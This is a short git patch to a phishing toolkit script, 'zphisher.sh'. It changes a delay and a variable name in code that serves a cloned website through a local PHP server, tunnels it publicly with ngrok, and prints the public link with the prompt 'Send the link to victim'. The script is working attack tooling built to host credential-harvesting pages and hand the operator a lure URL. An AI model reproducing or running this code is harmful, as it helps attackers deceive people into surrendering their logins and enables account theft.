From 75baf2bca5155ef93e205c1f5ae8e6f0c33f06f4 Mon Sep 17 00:00:00 2001 From: Tahmid Rayat <56682134+htr-tech@users.noreply.github.com> Date: Mon, 2 Dec 2019 13:01:31 +0600 Subject: [PATCH] Update zphisher.sh --- zphisher.sh | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index 6aa78eee..1e5bff33 100644 --- a/zphisher.sh +++ b/zphisher.sh @@ -320,12 +320,13 @@ printf "\e[96m[\e[0m\e[1;77m~\e[96m]\e[0m\e[1;92m Launching Ngrok ..\e[0m\n" cd websites/$server && php -S 127.0.0.1:5555 > /dev/null 2>&1 & sleep 2 ./ngrok http 5555 > /dev/null 2>&1 & -sleep 7 +sleep 10 -ngrok_link=$(curl -s -N http://127.0.0.1:4041/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io") -printf "\n\e[96m[\e[0m\e[1;77m~\e[96m]\e[0m\e[1;96m Send the link to victim :\e[0m\e[1;93m %s \n" $ngrok_link +link=$(curl -s -N http://127.0.0.1:4041/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io") +printf "\n\e[96m[\e[0m\e[1;77m~\e[96m]\e[0m\e[1;96m Send the link to victim :\e[0m\e[1;93m %s \n" $link found } + start_local(){ def_port="5555" printf "\e[0m\n"